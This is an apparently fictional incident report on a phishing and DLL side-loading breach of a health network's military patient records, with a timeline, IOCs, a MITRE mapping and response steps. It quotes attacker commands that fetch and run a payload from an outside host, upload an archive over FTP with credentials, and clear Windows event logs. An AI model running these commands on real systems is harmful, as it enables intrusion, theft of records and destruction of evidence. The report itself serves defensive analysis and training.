EMPIRE
HEALTH
NETWORK

SECURITY INCIDENT REPORT

Empire Health Network - Healthcare Data Breach

CONFIDENTIAL - HEALTHCARE SECURITY

Incident ID: EHN-2024-ALGOADV
Report Date: April 15, 2024
Classification: **CRITICAL - HEALTHCARE DATA BREACH**
Primary Vector: Military-themed phishing campaign
Impact: Patient Records Compromise, EHR System Breach

Executive Summary

Empire Health Network experienced a sophisticated cyberattack targeting military personnel healthcare records through a coordinated phishing campaign. The attack utilized DLL hijacking techniques and resulted in the compromise of sensitive patient records and Electronic Health Record (EHR) systems. The threat actor, operating through AlgoAdvertise LLC infrastructure, successfully exfiltrated confidential medical data from service members.

Critical Breach Summary

- **Primary Target:** Military healthcare records and EHR systems
- **Attack Vector:** Military/healthcare-themed phishing emails with ZIP attachments
- **Technique:** DLL Hijacking using legitimate Windows Defender components
- **Data Compromised:** Service member patient records, EHR system credentials
- **Exfiltration:** FTP transfer to algoadvertise.com infrastructure
- **Primary Victim:** Dana Scully, Director of Military Health Services

⚠️ Healthcare Security Alert

This attack specifically targeted military service members' medical records, representing a significant national security and privacy breach. The Electronic Health Record (ehr.empirehealth.ny) system was compromised, potentially exposing sensitive medical information of active duty personnel.

Attack Campaign Analysis

Phase 1: Reconnaissance & Targeting

- **Target Selection:** Empire Health Network identified as major healthcare provider
- **Personnel Research:** 75 employees with IT roles identified as potential targets
- **Focus Area:** Military health services and EHR system access
- **External Senders:** 12,088 non-empirehealth.ny domain senders analyzed

Phase 2: Military-themed Phishing Campaign

The attack leveraged military healthcare themes to establish credibility and target relevant personnel:

Malicious Infrastructure

- **Primary Domain:** armedforceshealthcare.net
- **Secondary Domain:** militaryfamilyhealth.org
- **Command & Control:** algoadvertise.com

Weaponized Attachments

- Veterans_Medical_Services.zip
- Military_Healthcare_Guide.zip
- Service_Member_Healthcare_Benefits.zip

> ### Phase 3: DLL Hijacking Attack
>
> **Technique:** The attackers employed DLL side-loading using legitimate Windows components:
>
> - **Legitimate Executable:** MsMpEng.exe (Windows Defender component)
> - **Malicious DLL:** MpSvc.dll (hijacked library)
> - **Purpose:** Blend in with legitimate processes to avoid detection
> - **Deployment Location:** C:\Users\Public\Documents\

Technical Attack Analysis

Initial Compromise - Eddie McFed

Eddie McFed (eddie_mcfed@empirehealth.ny)

IP Address: 10.10.0.29
Hostname: 6BAN-DESKTOP
Compromise Time: 2024-03-18T12:44:34.000Z
Action: Clicked malicious link, downloaded Veterans_Medical_Services.zip
File Hash: d17275ae115eda1e0625ca041fc55a634c054f21cd81693ea2bf81580760bb3f

Malware Deployment Sequence

```
# Initial Download and Execution Chain 2024-03-18T12:45:16.000Z - Veterans_Medical_Services.zip created
- benefit_information_veteran_affairs.pdf.lnk created # Payload Download and Staging curl
https://data.algoadvertise.com/data/usershares/rsergey/1.txt -o C:\Users\Public\Documents\1.bat &&
certutil -decode C:\Users\Public\Documents\1.bat C:\Users\Public\Documents\2.bat && start
C:\Users\Public\Documents\2.bat # DLL Hijacking Components Deployed
C:\Users\Public\Documents\MsMpEng.exe (legitimate Windows Defender executable)
C:\Users\Public\Documents\MpSvc.dll (malicious DLL)
```

Primary Target - Dana Scully

Dana Scully (dana_scully@empirehealth.ny)

Role: Director of Military Health Services
IP Address: 10.10.0.11
Hostname: GESE-DESKTOP
Email Received: 2024-03-18T11:45:34.000Z
Compromise Period: 2024-04-02T10:46:19.000Z to 2024-04-02T13:32:44.000Z
Impact: Patient records access, EHR system compromise, data exfiltration

Data Access and Exfiltration

Compromised Systems and Data

- **Network Share:** \\recordssrv01\confidential\service_members\patient_records_2024\
- **EHR System:** ehr.empirehealth.ny targeted and compromised
- **Browser Dump Tool:** C:\Users\Public\Documents\dmp.exe
- **Credentials Harvested:** C:\Users\Public\Documents\browser_dump.txt
- **Data Archive:** C:\Users\Public\Documents\all.7z

Exfiltration Command

```
# PowerShell Data Exfiltration (2024-04-02T12:12:44Z) $pass = ConvertTo-SecureString 'r0b3rts3rgeyr0cks'
-AsPlainText -Force $user = 'algo-secure-uploader' $cred = New-Object
System.Management.Automation.PSCredential($user, $pass) Start-BitsTransfer -Source
'C:\Users\Public\Documents\all.7z' -Destination 'ftp://algoadvertise.com/incoming/empirehealth_dump/' -
Credential $cred # Evidence Destruction wevtutil cl Security && wevtutil cl System && wevtutil cl
Application
```

Threat Actor Profile

Robert Sergey

Role: CEO, AlgoAdvertise LLC
Company Founded: 2021
Infrastructure: algoadvertise.com, data.algoadvertise.com
FTP Credentials: algo-secure-uploader / r0b3rts3rgeyr0cks
User Directory: /data/usershares/rsergey/

Attribution Assessment

- **Company Profile:** AlgoAdvertise LLC appears to be a legitimate advertising company used as cover
- **Infrastructure Control:** Domain and FTP services controlled by threat actor
- **Operational Security:** Use of personal credentials suggests either insider threat or compromised CEO
- **Target Selection:** Specific focus on military healthcare suggests strategic intelligence collection

Timeline of Attack Events

March 18, 2024 - 11:45:34 UTC

Initial Phishing: Dana Scully receives military healthcare-themed phishing email

March 18, 2024 - 12:44:34 UTC

First Compromise: Eddie McFed clicks malicious link, downloads Veterans_Medical_Services.zip
File Hash: d17275ae115eda1e0625ca041fc55a634c054f21cd81693ea2bf81580760bb3f

March 18, 2024 - 12:45:16 UTC

Payload Deployment: LNK file created (benefit_information_veteran_affairs.pdf.lnk)
BAT Files Created: 1.bat and 2.bat in Documents folder

April 2, 2024 - 10:46:19 UTC

DLL Hijacking Activation: First MsMpEng.exe process execution on Dana's machine
Components Deployed: Legitimate MsMpEng.exe + malicious MpSvc.dll

April 2, 2024 - 12:12:44 UTC

Data Exfiltration: PowerShell BitsTransfer command executed
Destination: ftp://algoadvertise.com/incoming/empirehealth_dump/
Credentials: algo-secure-uploader / r0b3rts3rgeyr0cks

April 2, 2024 - 13:32:44 UTC

Final Activity: Last MsMpEng.exe process execution
Evidence Destruction: Windows event logs cleared (Security, System, Application)

Indicators of Compromise (IOCs)

Malicious Domains and URLs

Domain/URL	Purpose	File Type
armedforceshealthcare.net	Malware hosting	ZIP archives
militaryfamilyhealth.org	Malware hosting	ZIP archives
algoadvertise.com	Command & Control	Data exfiltration
data.algoadvertise.com	Payload hosting	BAT files
ftp://algoadvertise.com/incoming/empirehealth_dump/	Data exfiltration	Archive uploads

File Indicators

Filename	Hash/Location	Description
Veterans_Medical_Services.zip	d17275ae115eda1e0625ca041fc55a634c054f21cd81693ea2bf81580760bb3f	Initial phishing payload
benefit_information_veteran_affairs.pdf.lnk	Eddie McFed's machine	Windows shortcut file
1.bat, 2.bat	C:\Users\Public\Documents\	Batch script files
MsMpEng.exe	C:\Users\Public\Documents\	Legitimate Windows Defender executable
MpSvc.dll	C:\Users\Public\Documents\	Malicious DLL for hijacking
dmp.exe	C:\Users\Public\Documents\	Browser dumping tool
browser_dump.txt	C:\Users\Public\Documents\	Harvested browser credentials
all.7z	C:\Users\Public\Documents\	Exfiltration archive

Network Indicators

- **FTP Credentials:** algo-secure-uploader / r0b3rts3rgeyr0cks
- **User Directory:** /data/usershares/rsergey/
- **EHR System:** ehr.empirehealth.ny
- **Patient Records Path:** \\recordssrv01\confidential\service_members\patient_records_2024\

MITRE ATT&CK Framework Mapping

Tactic	Technique	Implementation
Initial Access	T1566.001 - Spearphishing Attachment	Military healthcare-themed ZIP files
Execution	T1204.002 - User Execution: Malicious File	Users executing downloaded ZIP attachments
Persistence	T1574.002 - DLL Side-Loading	MsMpEng.exe loading malicious MpSvc.dll
Defense Evasion	T1036.005 - Masquerading: Match Legitimate Name	Using legitimate Windows Defender executable
Credential Access	T1555.003 - Credentials from Web Browsers	Browser dumping tool (dmp.exe)
Discovery	T1083 - File and Directory Discovery	Patient records directory enumeration
Collection	T1005 - Data from Local System	EHR system data collection
Exfiltration	T1048.003 - Exfiltration Over Unencrypted/Obfuscated Non-C2	FTP upload to algoadvertise.com
Impact	T1070.001 - Clear Windows Event Logs	wevtutil commands to clear evidence

Critical Response Actions

IMMEDIATE (0-4 hours)

- **Patient Notification:** Prepare breach notification for affected service members
- **System Isolation:** Immediately disconnect 6BAN-DESKTOP and GESE-DESKTOP from network
- **EHR System Security:** Secure ehr.empirehealth.ny and audit all access
- **FTP Blocking:** Block all traffic to algoadvertise.com and associated infrastructure
- **Account Security:** Reset passwords for Eddie McFed and Dana Scully accounts
- **Law Enforcement:** Contact FBI and HHS for healthcare data breach investigation

HIGH PRIORITY (4-48 hours)

- **Forensic Analysis:** Image both compromised systems for detailed investigation
- **Malware Removal:** Remove all DLL hijacking components from infected systems
- **Data Audit:** Assess extent of patient record compromise
- **Network Scanning:** Hunt for additional MsMpEng.exe processes network-wide
- **AlgoAdvertise Investigation:** Coordinate with authorities to investigate Robert Sergey/AlgoAdvertise
- **Military Coordination:** Notify DoD cybersecurity about service member data breach

STRATEGIC (1-4 weeks)

- **Email Security:** Implement advanced filtering for military/healthcare-themed attacks
- **DLL Hijacking Prevention:** Deploy application whitelisting and DLL monitoring
- **Healthcare Security:** Enhance EHR system security and access controls
- **Staff Training:** Military-themed phishing awareness program

> - **Compliance:** HIPAA breach reporting and remediation planning

Healthcare Impact Assessment

Patient Data Compromise

- **Affected Population:** Active military service members and families
- **Data Types:** Medical records, treatment histories, EHR system credentials
- **Network Share:** \\recordssrv01\confidential\service_members\patient_records_2024\
- **System Impact:** EHR system (ehr.empirehealth.ny) potentially compromised

Regulatory and Legal Implications

- **HIPAA Compliance:** Mandatory breach notification requirements
- **Military Security:** Potential national security implications
- **Patient Rights:** Individual notification requirements
- **Regulatory Reporting:** HHS Office for Civil Rights notification

Business Continuity Impact

- **EHR System:** Potential service disruption for patient care
- **Trust Impact:** Military community confidence in healthcare security
- **Operational Impact:** Enhanced security measures may slow patient access
- **Financial Impact:** Regulatory fines, remediation costs, potential lawsuits

Lessons Learned

- **Targeted Phishing Effectiveness:** Military healthcare themes proved highly effective against healthcare workers
- **DLL Hijacking Sophistication:** Use of legitimate Windows components demonstrates advanced evasion techniques
- **Privileged Access Risk:** Director-level compromise enabled extensive data access
- **Evidence Destruction:** Attackers showe